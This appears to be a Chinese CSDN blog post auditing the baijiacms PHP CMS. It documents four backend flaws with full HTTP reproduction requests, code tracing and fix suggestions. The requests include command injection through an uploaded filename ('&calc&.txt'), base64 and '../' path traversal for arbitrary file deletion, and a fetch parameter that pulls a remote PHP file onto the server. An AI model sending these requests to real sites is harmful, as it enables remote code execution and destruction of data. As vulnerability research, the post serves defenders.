6、baijiacms代码审计

文章详细描述了网站后台存在的多个安全漏洞,包括命令执行漏洞、文件上传和删除的任意性,强调了使用安全函数、验证用户输入和限制文件权限的重要性。
摘要由CSDN通过智能技术生成

1、后台存在1处命令执行

漏洞条件:

参数接收后执行eval('$data='这里面的输入的内容'')
点是连接符,//注释掉后面的
● 漏洞url: http://baijiaccc.com/index.php?mod=site&act=weixin&do=setting
● 漏洞参数:sqlstr
● 是否存在限制: 1、满足$extention=txt(获取文件类型是否为txt)
2、满足有提交事件(一定会满足)
3、上传文件的值不为空(搜索关键字在前端文件显示授权文件)
4、判断$srttings有值(image_compress_openscale开启)
● 是否还有其他条件:mod=site&act=weixin&do=setting

复现

POST /index.php?mod=site&act=weixin&do=setting HTTP/1.1
Host: baijiaccc.com
Content-Length: 1224
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://baijiaccc.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFBY6mmvFXLNBb313
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://baijiaccc.com/index.php?mod=site&act=weixin&do=setting
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=sa0o3fgd3il0kc7gmg3e9uq666
Connection: close

------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixinname"

111
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="interface"

http://baijiaccc.com/api.php?op=weixin
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixintoken"

13u5hio3u3abkg3kcpj35arlblymbnim
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="EncodingAESKey"

PLAhEBiKscPIwh9C6KnzEPVtb0qPBkxJZ8v99KfHCY1
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixin_appId"

aaa
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixin_appSecret"

ssss
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixin_verify_file"; filename="&calc&.txt"
Content-Type: text/plain


------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixin_noaccess"

0
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixin_shareaddress"

0
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryFBY6mmvFXLNBb313--

抓到上传问及教案的包,把文件名改成执行的命令

在这里插入图片描述

代码

搜索命令执行的关键字带变量

在这里插入图片描述

第一个变量被强制类型转换,跟踪下file_save函数,传什么值就是什么,如果是变量就可控制

在这里插入图片描述

 第四个变量$file[name]从上面的$_FILES传过来。
大概思路:system-->$file_full_path-->file_save-->$file['name']-->$file=$_FILES['weixin_verify_file']

在这里插入图片描述

先访问网站复制地址,找到对应代码文件,再去分析漏洞文件对应的功能位置
system/manager/class/web/store.php
baijiaccc.com/index.php?mod=site&act=manager&do=store&op=display&beid=1
漏洞文件地址:
system/weixin/class/web/setting.php
baijiaccc.com/index.php?mod=site&act=weixin&do=setting
刚好有文件上传的功能

在这里插入图片描述

触发这个函数要满足的条件:
1、满足$extention=txt(获取文件类型是否为txt)
2、满足有提交事件(一定会满足)
3、上传文件的值不为空(搜索关键字在前端文件显示授权文件)
4、判断$srttings有值(image_compress_openscale开启)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

修复建议

坚持在调用系统命令时使用安全的函数库,验证并清理所有用户输入,以避免可能的命令注入攻击。

2、后台存在1处任意文件删除

漏洞条件:

● 漏洞url: http://baijiaccc.com/index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vLi4vMw%3d%3d&beid=1
● 漏洞参数:id
● 是否存在限制: id需要base64编码
● 是否还有其他条件:mod=site&act=manager&do=database&op=delete&id=&beid=1

复现

GET /index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vLi4vMw%3d%3d&beid=1 HTTP/1.1
Host: baijiaccc.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://baijiaccc.com/index.php?mod=site&act=manager&do=database&op=restore&ischeck=1&beid=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=sa0o3fgd3il0kc7gmg3e9uq666
Connection: close


在这里插入图片描述
在这里插入图片描述

代码

搜索删除函数unlink()并且存在可控变量,rmdirs函数也是删除函数

在这里插入图片描述

跟踪$path变量,判断这个下边是不是文件目录,并遍历这个列表。对于每个文件或子目录,如果它的名称既不是点 '.' (表示当前目录)也不是点点 '..' (表示父目录),并且名称不是 'qrcode',它就会被删除。
在删除所有文件和子目录之后,如果 $path 不是 WEB_ROOT 下的 '/cache/' 目录,那么这个目录也会被尝试删除。

在这里插入图片描述

跟踪rmdirs函数,查看它被谁调用。
条件:
1、op=delete
2、$d = base64_decode($_GP['id']);
没有额外的过滤

在这里插入图片描述

修复建议

需要验证用户输入,限制文件访问权限,并且仅允许经过身份验证和授权的用户操作文件。

3、后台存在1处任意文件上传

漏洞条件:

● 漏洞url: http://baijiaccc.com/index.php?mod=site&do=file&act=public&op=fetch&beid=1&url=
● 漏洞参数:url
● 是否存在限制: 
● 是否还有其他条件:mod=site&do=file&act=public&op=fetch&beid=1&url=

复现

GET /index.php?mod=site&do=file&act=public&op=fetch&beid=1&url=http://远程地址/文件.php HTTP/1.1
Host: baijiaccc.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pusi68o14jke80q64hcg8ram20; __fileupload_type=image; __fileupload_dest_dir=; __fileupload_global=
Connection: close



在虚拟机创建个php文件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

代码

获取 $_GPC['url'] 的值,去掉两边的空格,并将结果赋值给 $url;然后调用 fetch_net_file_upload($url) 函数,将结果赋值给 $file。如果存在错误就提示输出

在这里插入图片描述

跟踪fetch_net_file_upload函数,先对Url去除两边的空。
判断目录是否存在不存在则创建

在这里插入图片描述

SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有 file_get_contents() / fsockopen() / curl_exec() 等。
file_get_contents会读取获取的url传入的内容

在这里插入图片描述

修复建议

应限制出站请求的目标和类型,使用安全的编程实践,以及对用户提供的数据进行有效的输入验证和清理。

4、任意文件删除

漏洞条件

● 漏洞url: http://baijiaccc.com/index.php?mod=mobile&act=uploader&op=remove&do=util&m=eshop&file=../2.txt
● 漏洞参数:file
● 是否存在限制: system_isnetattach为空;op=remove
● 是否还有其他条件:mod=mobile&act=uploader&op=remove&do=util&m=eshop&file=

复现

POST /index.php?mod=mobile&act=uploader&op=remove&do=util&m=eshop&file=../2.txt HTTP/1.1
Host: baijiaccc.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://baijiaccc.com/index.php?mod=site&act=manager&do=store&op=display&beid=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=1oqv3hhn86om48bmgckd0b2fe6
Connection: close


在/attachment/上级目录创建2.txt

在这里插入图片描述

代码

unlink函数出现且有可控变量
$file_relative_path跟踪,698行先判断这个变量为空返回true,否则继续执行,unlink函数在else里面,所以让if条件不成立就可以。system_isnetattach让他为空

在这里插入图片描述

在跟踪file_delete谁调用了这个方法。uploader.php文件
op=remove,接收file参数

在这里插入图片描述

修复建议

需要验证用户输入,限制文件访问权限,并且仅允许经过身份验证和授权的用户操作文件。
  • 9
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值